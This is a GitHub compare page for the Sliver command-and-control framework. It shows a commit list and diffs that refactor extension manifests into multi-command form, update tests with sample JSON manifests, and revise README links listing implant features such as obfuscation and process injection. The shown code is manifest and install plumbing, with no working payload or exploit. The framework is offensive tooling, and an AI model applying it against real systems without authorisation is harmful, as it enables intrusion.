Compare commits

...
82 Commits
Author SHA1 Message Date
Raf f67e96e1de Sliver Protobuf updates 2023-12-29 09:01:20 -05:00
Andrew Klaus 1301cf6027 Referencing final array elements for mountinfo 2023-12-27 10:33:08 -07:00
Andrew Klaus ce72711bc3 Adding linux mount command 2023-12-22 12:31:52 -07:00
Raf b732ce1daa Merge branch 'master' into mount-command 2023-12-22 08:32:25 -05:00
Ronan Kervella a84f13e8a0 Merge pull request #1424 from C-Sto/extensionargs
Extensionargs
2023-12-20 16:05:03 -08:00
Raf 218e3c53b1 Adding the mount command and the implementation for Windows implants 2023-12-20 11:43:09 -05:00
C_Sto dfaadfb5c0 Merge branch 'master' into extensionargs
Signed-off-by: C_Sto <[email protected]>
2023-12-20 09:19:21 +08:00
Ronan Kervella 478dabf5e1 Merge pull request #1397 from C-Sto/multiextensions
multimanifest extension support
2023-12-19 09:51:01 -08:00
Ronan Kervella 5767abe616 Merge branch 'master' into multiextensions 2023-12-19 08:29:57 -08:00
Joe 2fabbee6bf Merge pull request #1523 from BishopFox/8b62dependabot/go_modules/golang.org/x/crypto-0.17.0
Bump golang.org/x/crypto from 0.15.0 to 0.17.0
2023-12-19 10:08:20 -06:00
C-Sto 1e6d91fb6a menu better 2023-12-19 13:12:36 +08:00
moloch-- 31022c12db Add offline docs script 2023-12-18 20:47:17 -06:00
dependabot[bot] e82975d1bd Bump golang.org/x/crypto from 0.15.0 to 0.17.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.15.0 to 0.17.0.
- [Commits](https://github.com/golang/crypto/compare/v0.15.0...v0.17.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-12-18 23:59:26 +00:00
Ronan Kervella 1205defc3e Merge branch 'master' into extensionargs 2023-12-18 09:25:56 -08:00
Ronan Kervella 33613d25da Merge branch 'master' into multiextensions 2023-12-18 08:52:47 -08:00
moloch-- 5c9b4a6af7 fix typos 2023-12-18 08:08:11 -06:00
moloch-- cfdbe6d467 Fix more links 2023-12-17 17:53:48 -06:00
moloch-- 8ad5d44114 Adjust page title 2023-12-17 16:34:55 -06:00
moloch-- ada14762cd Self host images 2023-12-17 16:26:17 -06:00
moloch-- 5f0b778c18 Add page title 2023-12-17 12:20:47 -06:00
moloch-- 78038a8dcc Fix typo 2023-12-17 12:16:55 -06:00
moloch-- 9f0f9b1206 Update generate beacon example 2023-12-17 11:48:30 -06:00
moloch-- a02f1ac529 Update generate session example 2023-12-17 11:32:46 -06:00
moloch-- dd51a66b63 Add service status 2023-12-17 10:35:58 -06:00
moloch-- d98810a65e Update install cast 2023-12-17 10:04:50 -06:00
moloch-- 803adef634 Fix code block 2023-12-17 09:43:50 -06:00
moloch-- 03c3d45500 Fix more links 2023-12-16 23:36:59 -06:00
moloch-- ec31b5dfa6 Fix more links 2023-12-16 23:33:35 -06:00
moloch-- f1ce927e1d Simplify name/md state mgmt 2023-12-16 23:24:11 -06:00
moloch-- a4ee4dc5e9 Fix more links 2023-12-16 23:01:04 -06:00
moloch-- d4e0c562ee Fix links, enable scroll restoration 2023-12-16 22:55:38 -06:00
moloch-- 7047ec1c52 Add asciinema markdown renderer 2023-12-16 22:51:09 -06:00
moloch-- cdfc2cd241 Tweak footer 2023-12-16 21:11:18 -06:00
moloch-- c4597cca76 fix links to c2 2023-12-16 20:50:53 -06:00
moloch-- 727693f3f2 Update intro paragraph 2023-12-16 19:38:15 -06:00
moloch-- 2d51293792 Tweak timers 2023-12-16 19:29:14 -06:00
moloch-- aa1850b8e6 Update readme 2023-12-16 19:27:34 -06:00
moloch-- a84b01ed40 Tweak timers 2023-12-16 19:10:35 -06:00
moloch-- 84808f626e Implement cards 2023-12-16 18:52:50 -06:00
moloch-- a10770ae2c Override ap-control-bar class 2023-12-16 18:33:47 -06:00
moloch-- 5d8d3a5d78 Fix bottom marge in search results 2023-12-16 17:32:21 -06:00
moloch-- a0a59ee540 Add footer 2023-12-16 17:00:08 -06:00
moloch-- 58be6c5a10 Add gh button 2023-12-16 16:44:18 -06:00
moloch-- 9cd27ed805 Various small tweaks 2023-12-16 16:40:09 -06:00
moloch-- 147e06d058 Remove old install script file 2023-12-16 16:27:04 -06:00
moloch-- 26aad81968 Fix various rel links 2023-12-16 16:24:56 -06:00
moloch-- 0f26ad1396 Fix relative navigation 2023-12-16 16:20:40 -06:00
moloch-- aac3c142e5 Implement search 2023-12-16 15:41:06 -06:00
moloch-- 4e012113cf Adjust border in dark mode 2023-12-16 13:38:39 -06:00
moloch-- 6916dbe684 Fixed docs sidebar 2023-12-16 13:23:23 -06:00
moloch-- 97e5142b7a Open 3rd party links in new tab 2023-12-16 10:25:54 -06:00
moloch-- 06fc398033 Implement onClear 2023-12-15 18:24:03 -06:00
moloch-- c2f4856255 Implement fuzzy filter 2023-12-15 18:22:52 -06:00
moloch-- ad7e1dcafa Fix theme on dark landing page 2023-12-15 18:01:21 -06:00
moloch-- 8c5d3dd637 Fix theme on dark landing page 2023-12-15 17:50:32 -06:00
Joe 2e7498c94c Merge pull request #1512 from BishopFox/docs/next
Docs/next
2023-12-15 17:44:46 -06:00
Joe e4a98e9a34 Merge pull request #1511 from BishopFox/docs/next
Docs/next
2023-12-15 16:21:36 -06:00
Joe d8fe33d20a Merge pull request #1510 from BishopFox/docs/next
Fix image rendering
2023-12-15 15:48:38 -06:00
Joe d3ad2dc84f Merge pull request #1508 from BishopFox/fix-hosts-rm
Fix for hosts command and host IDs for loot
2023-12-15 15:40:04 -06:00
Joe 8aa4dd4a28 Merge pull request #1507 from BishopFox/fix-ioc-rm
Fixes for removing IOCs
2023-12-15 15:39:31 -06:00
Joe b360eae3fb Merge pull request #1509 from BishopFox/docs/next
Docs/next
2023-12-15 15:39:10 -06:00
Raf b080e06039 Fixing issue with removal of hosts and an issue where the host ID for loot did not populate in the database 2023-12-15 13:49:17 -05:00
Raf d394a5936d Associating IOC Protobuf objects with database objects to fix IOC deletion, changing some error messages 2023-12-15 11:52:22 -05:00
Joe 7d496d9036 Merge pull request #1506 from BishopFox/docs/next
Fix dark mode docs
2023-12-14 18:30:28 -06:00
Joe bc5c1e0d8a Merge pull request #1505 from BishopFox/docs/next
Docs/next
2023-12-14 18:24:09 -06:00
Joe b84796f723 Merge pull request #1478 from BishopFox/2ee9dependabot/go_modules/gorm.io/driver/sqlite-1.5.4
Bump gorm.io/driver/sqlite from 1.5.2 to 1.5.4
2023-12-14 14:01:33 -06:00
Joe 5c206cdd01 Merge pull request #1504 from BishopFox/fix-iocs
IOC Fixes
2023-12-14 12:43:07 -06:00
Raf f2be8a41e7 Fixing associations between database models and IOC data objects so that IOCs are properly recorded; changed recorded IOC hash to the hash of the non-gzipped data 2023-12-14 11:46:36 -05:00
Joe e197ba9438 Merge pull request #1503 from BishopFox/docs/next
Docs/next
2023-12-13 18:25:40 -06:00
Ronan Kervella 48562a4221 Merge branch 'master' into extensionargs 2023-12-06 09:07:26 -08:00
dependabot[bot] e9cc6804bf Bump gorm.io/driver/sqlite from 1.5.2 to 1.5.4
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.5.2 to 1.5.4.
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.5.2...v1.5.4)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-27 16:52:42 +00:00
Ronan Kervella 28397eb7a9 Merge branch 'master' into extensionargs 2023-11-10 13:02:13 -08:00
Ronan Kervella 342ed489f3 Merge branch 'master' into multiextensions 2023-10-20 10:30:30 -07:00
Ronan Kervella 5e5e0df4ec Merge branch 'master' into multiextensions 2023-10-16 09:03:17 -07:00
C-Sto c02c40cb65 improve extensions UX 2023-10-08 10:48:29 +08:00
C-Sto be222e3ffa use bof arg packer for extensions 2023-10-08 07:16:34 +08:00
C-Sto 4421ec1698 make client work with updated manifest schema 2023-09-30 14:07:29 +08:00
C-Sto 7815b67a8a revise manifest schema 2023-09-30 14:07:02 +08:00
Ronan Kervella 84aed0720f Merge branch 'master' into multiextensions 2023-09-27 10:53:29 -07:00
Ronan Kervella b212e0fb99 Merge branch 'master' into multiextensions 2023-09-25 11:14:16 -07:00
Ronan Kervella b3ab5ea62e Merge branch 'master' into multiextensions 2023-08-31 10:15:36 -07:00
C-Sto 9d4486f906 multimanifest extension support 2023-08-31 10:57:27 +08:00
134 changed files with 7910 additions and 4046 deletions

No files matched your search

+7 -7
View File
@@ -8,7 +8,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
# v1.6.0 / `master`
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; PRs should target this branch starting on 6/1/2023 ('MURICA format). However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
@@ -18,9 +18,9 @@ For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x
- Compile-time obfuscation
- Multiplayer-mode
- Staged and Stageless payloads
- [Procedurally generated C2](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood>) over HTTP(S)
- [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
- [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
- [Procedurally generated C2](https://sliver.sh/docs?name=HTTPS+C2) over HTTP(S)
- [DNS canary](https://sliver.sh/docs?name=DNS+C2) blue team detection
- [Secure C2](https://sliver.sh/docs?name=Transport+Encryption) over mTLS, WireGuard, HTTP(S), and DNS
- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
- Windows process migration, process injection, user token manipulation, etc.
- Let's Encrypt integration
@@ -31,7 +31,7 @@ For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x
### Getting Started
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://sliver.sh/docs?name=Getting+Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
#### Linux One Liner
@@ -39,11 +39,11 @@ Download the latest [release](https://github.com/BishopFox/sliver/releases) and
### Help!
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
### Compile From Source
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
### Feedback
+17 -13
View File
@@ -141,7 +141,7 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
}
}
return true
@@ -183,7 +183,7 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest)
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
}
}
return true
@@ -217,9 +217,11 @@ func AliasExtensionOrBundleCompleter() carapace.Action {
aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx)
results = make([]string, 0)
for _, extensionPkg := range exts {
results = append(results, extensionPkg.CommandName)
results = append(results, extensionPkg.Help)
for _, extension := range exts {
for _, extensionPkg := range extension.ExtCommand {
results = append(results, extensionPkg.CommandName)
results = append(results, extensionPkg.Help)
}
}
extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx)
results = make([]string, 0)
@@ -291,14 +293,16 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
URL: aliasPkg.RepoURL,
})
}
for _, extension := range exts {
entries = append(entries, pkgInfo{
CommandName: extension.CommandName,
Version: extension.Version,
Type: "Extension",
Help: extension.Help,
URL: extension.RepoURL,
})
for _, extm := range exts {
for _, extension := range extm.ExtCommand {
entries = append(entries, pkgInfo{
CommandName: extension.CommandName,
Version: extension.Manifest.Version,
Type: "Extension",
Help: extension.Help,
URL: extension.Manifest.RepoURL,
})
}
}
sliverMenu := con.App.Menu("implant")
+40 -48
View File
@@ -96,11 +96,13 @@ func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *conso
}
}
}
for _, ext := range extensions {
if ext.CommandName == name || name == "all" {
installExtension(ext, clientConfig, con)
if name != "all" {
return nil
for _, extm := range extensions {
for _, ext := range extm.ExtCommand {
if ext.CommandName == name || name == "all" {
installExtension(ext.Manifest, clientConfig, con)
if name != "all" {
return nil
}
}
}
}
@@ -186,25 +188,27 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
return nil
}
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
func installExtension(extm *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
deps := make(map[string]struct{})
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
sliverMenu := con.App.Menu(constants.ImplantMenu)
for dep := range deps {
if extensions.CmdExists(dep, sliverMenu.Command) {
continue // Dependency is already installed
for _, ext := range extm.ExtCommand {
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
sliverMenu := con.App.Menu(constants.ImplantMenu).Root()
for dep := range deps {
if extensions.CmdExists(dep, sliverMenu) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
return
}
}
err := installExtensionPackageByName(dep, clientConfig, con)
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
return
}
}
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
return
}
}
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
@@ -222,24 +226,25 @@ func resolveExtensionPackageDependencies(name string, deps map[string]struct{},
if entry == nil {
return
}
for _, multiExt := range entry.Extension.ExtCommand {
if multiExt.DependsOn == "" {
continue // Avoid adding empty dependency
}
if entry.Extension.DependsOn == "" {
return // Avoid adding empty dependency
if multiExt.DependsOn == name {
continue // Avoid infinite loop of something that depends on itself
}
// We also need to look out for circular dependencies, so if we've already
// seen this dependency, we stop resolving
if _, ok := deps[multiExt.DependsOn]; ok {
continue // Already resolved
}
if maxDepDepth < len(deps) {
continue
}
deps[multiExt.DependsOn] = struct{}{}
resolveExtensionPackageDependencies(multiExt.DependsOn, deps, clientConfig, con)
}
if entry.Extension.DependsOn == name {
return // Avoid infinite loop of something that depends on itself
}
// We also need to look out for circular dependencies, so if we've already
// seen this dependency, we stop resolving
if _, ok := deps[entry.Extension.DependsOn]; ok {
return // Already resolved
}
if maxDepDepth < len(deps) {
return
}
deps[entry.Extension.DependsOn] = struct{}{}
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
}
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
@@ -297,20 +302,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
con.Printf(console.Clearln + "\r") // Clear download message
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install extension")
}
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
if err != nil {
return err
}
extensions.InstallFromDir(tmpFile.Name(), con, true)
sliverMenu := con.App.Menu(constants.ImplantMenu)
//
// if extensions.CmdExists(extCmd.Name, sliverMenu.Command) {
// con.App.Commands().Remove(extCmd.Name)
// }
extensions.ExtensionRegisterCommand(extCmd, sliverMenu.Command, con)
return nil
}
+5 -3
View File
@@ -55,9 +55,11 @@ func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
}
}
matchedExts := []*extensions.ExtensionManifest{}
for _, ext := range exts {
if nameExpr.MatchString(ext.CommandName) {
matchedExts = append(matchedExts, ext)
for _, extm := range exts {
for _, ext := range extm.ExtCommand {
if nameExpr.MatchString(ext.CommandName) {
matchedExts = append(matchedExts, extm)
}
}
}
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
+3 -2
View File
@@ -104,10 +104,11 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver
for _, latestExt := range cachedExtensions {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
if latestExt.Name == localManifest.Name && latestExt.Version != localManifest.Version {
results = append(results, localManifest.Name)
}
}
}
return results
}
+1 -1
View File
@@ -225,7 +225,7 @@ func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cm
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
}
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.FileType_TEXT, commandOutput)
lootMessage := loot.CreateLootMessage(con.ActiveTarget.GetHostUUID(), fileName, lootName, clientpb.FileType_TEXT, commandOutput)
loot.SendLootMessage(lootMessage, con)
}
+22 -10
View File
@@ -66,25 +66,27 @@ func PrintExtensions(con *console.SliverConsoleClient) {
installedManifests := getInstalledManifests()
for _, extension := range loadedExtensions {
//for _, extension := range extensionm.ExtCommand {
installed := ""
if _, ok := installedManifests[extension.CommandName]; ok {
if _, ok := installedManifests[extension.Manifest.Name]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
extension.Name,
extension.Manifest.Name,
extension.CommandName,
strings.Join(extensionPlatforms(extension), ",\n"),
extension.Version,
extension.Manifest.Version,
installed,
extension.ExtensionAuthor,
extension.OriginalAuthor,
extension.RepoURL,
extension.Manifest.ExtensionAuthor,
extension.Manifest.OriginalAuthor,
extension.Manifest.RepoURL,
})
//}
}
con.Println(tw.Render())
}
func extensionPlatforms(extension *ExtensionManifest) []string {
func extensionPlatforms(extension *ExtCommand) []string {
platforms := map[string]string{}
for _, entry := range extension.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
@@ -109,7 +111,7 @@ func getInstalledManifests() map[string]*ExtensionManifest {
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
installedManifests[manifest.Name] = manifest
}
return installedManifests
}
@@ -117,9 +119,9 @@ func getInstalledManifests() map[string]*ExtensionManifest {
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
installedManifests := getInstalledManifests()
//installedManifests := getInstalledManifests()
results := []string{}
for _, manifest := range installedManifests {
for _, manifest := range loadedExtensions {
results = append(results, manifest.CommandName)
results = append(results, manifest.Help)
}
@@ -127,3 +129,13 @@ func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.A
return carapace.ActionValuesDescribed(results...).Tag("extension commands")
})
}
func ManifestCompleter() carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := []string{}
for k := range loadedManifests {
results = append(results, k)
}
return carapace.ActionValues(results...).Tag("extensions")
})
}
+150 -75
View File
@@ -1,5 +1,10 @@
package extensions
import (
"encoding/json"
"testing"
)
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
@@ -18,26 +23,25 @@ package extensions
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"testing"
)
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
"commands":[
{
"command_name": "test1",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}
]
}`
@@ -53,6 +57,60 @@ const (
}
]
}`
sample3 = `{
"name": "test3",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"commands": [
{
"command_name": "test3",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}
]
}`
multicmd = `{
"name": "example-multientry",
"version": "0.0.0",
"extension_author": "cs",
"original_author": "cs",
"repo_url": "no",
"commands": [
{
"command_name": "startw",
"help": "startw",
"entrypoint": "StartW",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "ex.dll"
}
]
},
{
"command_name": "Test2",
"help": "startw",
"entrypoint": "Test2",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "ex.dll"
}
]
}
]
}`
)
func TestParseExtensionManifest(t *testing.T) {
@@ -63,9 +121,7 @@ func TestParseExtensionManifest(t *testing.T) {
if extManifest.Name != "test1" {
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
}
if extManifest.CommandName != "test1" {
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
}
if extManifest.Version != "1.0.0" {
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
}
@@ -78,67 +134,86 @@ func TestParseExtensionManifest(t *testing.T) {
if extManifest.RepoURL != "https://example.com/" {
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
}
if extManifest.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
}
if len(extManifest.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
}
if extManifest.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
}
if extManifest.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
}
if extManifest.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
for _, extCmd := range extManifest.ExtCommand { //should only be a single manfiest here, so should pass
if extCmd.CommandName != "test1" {
t.Errorf("Expected extension command name 'test1', got '%s'", extCmd.CommandName)
}
if extCmd.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extCmd.Help)
}
if len(extCmd.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extCmd.Files))
}
if extCmd.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extCmd.Files[0].OS)
}
if extCmd.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extCmd.Files[0].Arch)
}
if extCmd.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extCmd.Files[0].Path)
}
}
extManifest2, err := ParseExtensionManifest([]byte(sample2))
mextManifest2, err := ParseExtensionManifest([]byte(sample2)) //checking old manifests work good too
if err != nil {
t.Fatalf("Error parsing extension manifest (2): %s", err)
}
if extManifest2.Name != "test2" {
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
if mextManifest2.Name != "test2" {
t.Errorf("Expected extension name 'test2', got '%s'", mextManifest2.Name)
}
if extManifest2.CommandName != "test2" {
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
}
if extManifest2.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
}
if len(extManifest2.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
}
if extManifest2.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
}
if extManifest2.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
}
if extManifest2.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
for _, extManifest2 := range mextManifest2.ExtCommand {
if extManifest2.CommandName != "test2" {
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
}
if extManifest2.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
}
if len(extManifest2.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
}
if extManifest2.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
}
if extManifest2.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
}
if extManifest2.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
}
}
}
const (
sample3 = `{
"name": "test3",
"command_name": "test3",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseMultipleCmdManifest(t *testing.T) {
mextManifest, err := ParseExtensionManifest([]byte(multicmd))
if err != nil {
t.Errorf("error parsing manifest: %s", err)
}
if mextManifest.Name != "example-multientry" {
t.Errorf("expected name example-multientry, got %s", mextManifest.Name)
}
if mextManifest.ExtCommand[0].CommandName != "startw" {
t.Errorf("expected commandname startw, got %s", mextManifest.ExtCommand[0].CommandName)
}
if mextManifest.ExtCommand[1].CommandName != "Test2" {
t.Errorf("expected commandname Test2, got %s", mextManifest.ExtCommand[1].CommandName)
}
if mextManifest.ExtCommand[0].Entrypoint != "StartW" {
t.Errorf("expected entrypoint StartW, got %s", mextManifest.ExtCommand[0].Entrypoint)
}
if mextManifest.ExtCommand[1].Entrypoint != "Test2" {
t.Errorf("expected entrypoint Test2, got %s", mextManifest.ExtCommand[1].Entrypoint)
}
if mextManifest.ExtCommand[0].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod
t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path)
}
if mextManifest.ExtCommand[1].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod
t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path)
}
//maybe some more? args?
}
func TestParseExtensionManifestErrors(t *testing.T) {
sample3, err := ParseExtensionManifest([]byte(sample3))
@@ -155,7 +230,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
}
missingCmdName := (*sample3)
missingCmdName.CommandName = ""
missingCmdName.ExtCommand[0].CommandName = ""
data, _ = json.Marshal(missingCmdName)
_, err = ParseExtensionManifest(data)
if err == nil {
@@ -163,7 +238,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
}
missingHelp := (*sample3)
missingHelp.Help = ""
missingHelp.ExtCommand[0].Help = ""
data, _ = json.Marshal(missingHelp)
_, err = ParseExtensionManifest(data)
if err == nil {
@@ -171,7 +246,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
}
missingFiles := (*sample3)
missingFiles.Files = []*extensionFile{}
missingFiles.ExtCommand[0].Files = []*extensionFile{}
data, _ = json.Marshal(missingFiles)
_, err = ParseExtensionManifest(data)
if err == nil {
@@ -179,7 +254,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
}
missingFileOS := (*sample3)
missingFileOS.Files = []*extensionFile{
missingFileOS.ExtCommand[0].Files = []*extensionFile{
{
OS: "",
Arch: "amd64",
@@ -193,7 +268,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
}
missingFileArch := (*sample3)
missingFileArch.Files = []*extensionFile{
missingFileArch.ExtCommand[0].Files = []*extensionFile{
{
OS: "windows",
Arch: "",
@@ -207,7 +282,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
}
missingFilePath := (*sample3)
missingFilePath.Files = []*extensionFile{
missingFilePath.ExtCommand[0].Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
@@ -228,7 +303,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
}
for _, invalidPath := range invalidPaths {
missingFilePath2 := (*sample3)
missingFilePath2.Files = []*extensionFile{
missingFilePath2.ExtCommand[0].Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
+49 -79
View File
@@ -22,6 +22,7 @@ import (
"fmt"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
@@ -35,121 +36,90 @@ import (
func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
extLocalPath := args[0]
fi, err := os.Stat(extLocalPath)
_, err := os.Stat(extLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
return
}
